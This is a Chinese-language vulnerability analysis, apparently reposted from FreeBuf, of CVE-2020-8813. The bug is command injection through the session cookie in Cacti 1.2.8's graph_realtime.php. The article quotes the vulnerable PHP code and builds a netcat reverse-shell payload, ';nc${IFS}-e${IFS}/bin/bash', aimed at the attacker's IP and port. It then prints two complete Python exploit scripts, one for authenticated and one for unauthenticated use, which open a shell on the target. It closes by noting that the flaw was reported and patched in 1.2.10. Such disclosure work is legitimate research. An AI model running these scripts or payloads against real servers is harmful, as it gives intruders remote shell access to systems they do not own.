CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

栏目: IT技术 · 发布时间: 6年前

内容简介:Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控

关于Cacti

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。

cacti是用 php 语言实现的一个软件,它的主要功能是用snmp服务获取数据,然后用rrdtool储存和更新数据,当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此,snmp和rrdtool是cacti的关键。Snmp关系着数据的收集,rrdtool关系着数据存储和图表的生成。

漏洞利用分析

我在分析Cacti主要代码中的多个功能函数时,发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行,当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时,便会触发这个漏洞,而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题,而这个问题使我无法访问到目标页面,但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的,这样就不需要进行身份验证了,所以我修改了漏洞利用代码,并使用“Guest”身份来访问页面“graph_realtime.php”,然后发送恶意请求来在目标主机上实现代码执行。

首先,我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限,然后再向“graph_realtime.php”页面发送恶意请求。

接下来,我使用了这个常用的RCE扫描脚本【 RECScanner 】来在Cacti中搜索RCE漏洞。

运行脚本后,我在“graph_realtime.php”文件中发现了一个非常有意思的东西:

graph_realtime.php

/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command   = read_config_option('path_php_binary');
$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name  */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();

我们可以看到上述代码中的第4和第5行,我们收到了一些参数,还有一个名叫“get_request_var”的函数,该函数的作用如下:

html_utility.php

function get_request_var($name, $default = '') {
    global $_CACTI_REQUEST;
    $log_validation = read_config_option('log_validation');
    if (isset($_CACTI_REQUEST[$name])) {
        return $_CACTI_REQUEST[$name];
    } elseif (isset_request_var($name)) {
        if ($log_validation == 'on') {
            html_log_input_error($name);
        }
        set_request_var($name, $_REQUEST[$name]);
        return $_REQUEST[$name];
    } else {
        return $default;
    }
}

我们可以看到,这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值,而这个函数的相关代码如下:

html_utility.php

function set_request_var($variable, $value) {
    global $_CACTI_REQUEST;
    $_CACTI_REQUEST[$variable] = $value;
    $_REQUEST[$variable]       = $value;
    $_POST[$variable]          = $value;
    $_GET[$variable]           = $value;
}

接下来,回到我们的“graph_realtime.php”页面,我们可以控制下列输入:

local_graph_id
The value of $graph_data_array[‘ds_step’]

但是,我们注意到“graph_realtime.php”文件中的第4行,它使用了sprintf()函数来处理输入,而第一个值“graph”的内容为“local_graph_id”,而这个值是我们可以控制的!又但是,一个名叫“get_filter_request_var”的函数会对这个值进行过滤,我们可以看到,它在“graph_realtime.php”中已经被过滤了:

html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
    if (isset_request_var($name)) {
        if (isempty_request_var($name)) {
            set_request_var($name, get_nfilter_request_var($name));
            return get_request_var($name);
        } elseif (get_nfilter_request_var($name) == 'undefined') {
            if (isset($options['default'])) {
                set_request_var($name, $options['default']);
                return $options['default'];
            } else {
                set_request_var($name, '');
                return '';
            }
        } else {
            if (get_nfilter_request_var($name) == '0') {
                $value = '0';
            } elseif (get_nfilter_request_var($name) == 'undefined') {
                if (isset($options['default'])) {
                    $value = $options['default'];
                } else {
                    $value = '';
                }
            } elseif (isempty_request_var($name)) {
                $value = '';
            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
                if (is_base64_encoded($_REQUEST[$name])) {
                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
                }
                $valid = validate_is_regex($_REQUEST[$name]);
                if ($valid === true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                    $custom_error = $valid;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
                $valid = true;
                if (is_array($_REQUEST[$name])) {
                    foreach($_REQUEST[$name] AS $number) {
                        if (!is_numeric($number)) {
                            $valid = false;
                            break;
                        }
                    }
                } else {
                    $valid = false;
                }
                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
                $valid = true;
                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
                foreach($values AS $number) {
                    if (!is_numeric($number)) {
                        $valid = false;
                        break;
                    }
                }
                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif (!cacti_sizeof($options)) {
                $value = filter_var($_REQUEST[$name], $filter);
            } else {
                $value = filter_var($_REQUEST[$name], $filter, $options);
            }
        }
        if ($value === false) {
            if ($filter == FILTER_VALIDATE_IS_REGEX) {
                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
                set_request_var($name, '');
                raise_message('custom_error');
            } else {
                die_html_input_error($name, get_nfilter_request_var($name));
            }
        } else {
            set_request_var($name, $value);
            return $value;
        }
    } else {
        if (isset($options['default'])) {
            set_request_var($name, $options['default']);
            return $options['default'];
        } else {
            return;
        }
    }
}

这个函数将会对输入数据进行过滤,然后返回一个“干净的”变量并传递给下一个函数。

对于第二个变量“$graph_data_array[‘ds_step’]”,它已经通过sprintf()进行处理了(%d),这也就意味着它会变成一个十进制值,所以我们无法用它来注入我们的恶意命令。

接下来,我们再看看下面这段代码:

graph_realtime.php

/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command   = read_config_option('path_php_binary');
$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name  */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();

我们看到了另一个传递给shell_exec函数的变量,而这个变量的值就是session_id()函数返回的值,这个函数可以返回当前用户会话的值,也就是说,我们可以用它来注入我们的命令。

等一下,如果我们修改了会话,那我们就无法访问目标页面了,因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现,如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后,我们就能够以访客身份访问这个页面了:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

接下来,我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

正如我们所见,由于权限问题,我们现在无法访问这个页面,现在我们重新开启该权限,然后访问该页面:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

很好,接下来我们发送“graph_realtime.php”页面请求,然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析 CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

如图所示,我们将会话打印了出来,接下来我们尝试向会话中注入自定义字符串:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

非常好,我们成功实现了注入。

Payload开发

成功控制了会话值之后,我们需要用它来在目标系统中实现代码执行,但由于它本质上还是一个会话值,因此我们无法使用一些特殊字符,所以我们需要开发一个“对会话友好的”Payload。

比如说,如果对字符串“Hi Payload”进行编码,然后传递给应用程序,我们将会看到:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析 CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

我们可以看到,应用程序设置了一个Cookie给我们,而不是我们所注入的那个,为了解决这个问题,我们需要使用一个自定义的Payload。

为了避免使用空格字符,我打算使用“${IFS}”这个Bash变量来代表一个空格。

当然了,我们还需要使用“;”来转义命令:

;payload

如果我们想使用netcat来获取一个Shell,我们还需要创建下列Payload:

;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

我们先对Payload进行编码:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

然后将其发送给应用程序:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

很好,我们的Payload执行成功了,并拿到了一个Shell。

漏洞利用代码

为了实现整个漏洞利用的自动化过程,我编写了一个 Python 脚本来利用该漏洞:

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:

print("[~] Usage : ./Cacti-exploit.py url username password ip port")

exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

def login(token):

login_info = {

"login_username": username,

"login_password": password,

"action": "login",

"__csrf_magic": token

}

login_request = request.post(url+"/index.php", login_info)

login_text = login_request.text

if "Invalid User Name/Password Please Retype" in login_text:

return False

else:

return True

def enable_guest(token):

request_info = {

"id": "3",

"section25": "on",

"section7": "on",

"tab": "realms",

"save_component_realm_perms": 1,

"action": "save",

"__csrf_magic": token

}

enable_request = request.post(url+"/user_admin.php?header=false", request_info)

if enable_request:

return True

else:

return False

def send_exploit():

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()

print("[+]Retrieving login CSRF token")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[0].get("value")

if token:

print("[+]Token Found : %s" % token)

print("[+]Sending creds ..")

login_status = login(token)

if login_status:

print("[+]Successfully LoggedIn")

print("[+]Retrieving CSRF token ..")

page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[1].get("value")

if token:

print("[+]Making some noise ..")

guest_realtime = enable_guest(token)

if guest_realtime:

print("[+]Sending malicous request, check your nc CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析 ")

send_exploit()

else:

print("[-]Error while activating the malicous account")

else:

print("[-] Unable to retrieve CSRF token from admin page!")

exit()

else:

print("[-]Cannot Login!")

else:

print("[-] Unable to retrieve CSRF token!")

exit()

运行了漏洞利用代码之后,我们将会看到:

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

再一次成功拿到了Shell!

未经身份认证的漏洞利用

如果Cacti启用了“Guest Realtime Graphs”权限,那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码:

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:

print("[~] Usage : ./Cacti-exploit.py url ip port")

exit()

url = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

def send_exploit(url):

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

path = url+"/graph_realtime.php?action=init"

req = requests.get(path)

if req.status_code == 200 and "poller_realtime.php" in req.text:

print("[+] File Found and Guest is enabled!")

print("[+] Sending malicous request, check your nc CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析 ")

requests.get(path, cookies=cookies)

else:

print("[+] Error while requesting the file!")

send_exploit(url)

CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析

我们可以看到,在这种场景下同样能够成功利用该漏洞。

漏洞披露

在发现该问题之后,我们便将完整的PoC上报给了Cacti的团队,他们也在第一时间修复了该漏洞并发布了漏洞补丁,从Cacti v1.2.10开始将不再受此漏洞的影响。

* 参考来源: shells ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

MySQL性能调优与架构设计

MySQL性能调优与架构设计

简朝阳 / 2009-6 / 59.80元

《MySQL性能调优与架构设计》以 MySQL 数据库的基础及维护为切入点,重点介绍了 MySQL 数据库应用系统的性能调优,以及高可用可扩展的架构设计。 全书共分3篇,基础篇介绍了MySQL软件的基础知识、架构组成、存储引擎、安全管理及基本的备份恢复知识。性能优化篇从影响 MySQL 数据库应用系统性能的因素开始,针对性地对各个影响因素进行调优分析。如 MySQL Schema 设计的技巧......一起来看看 《MySQL性能调优与架构设计》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具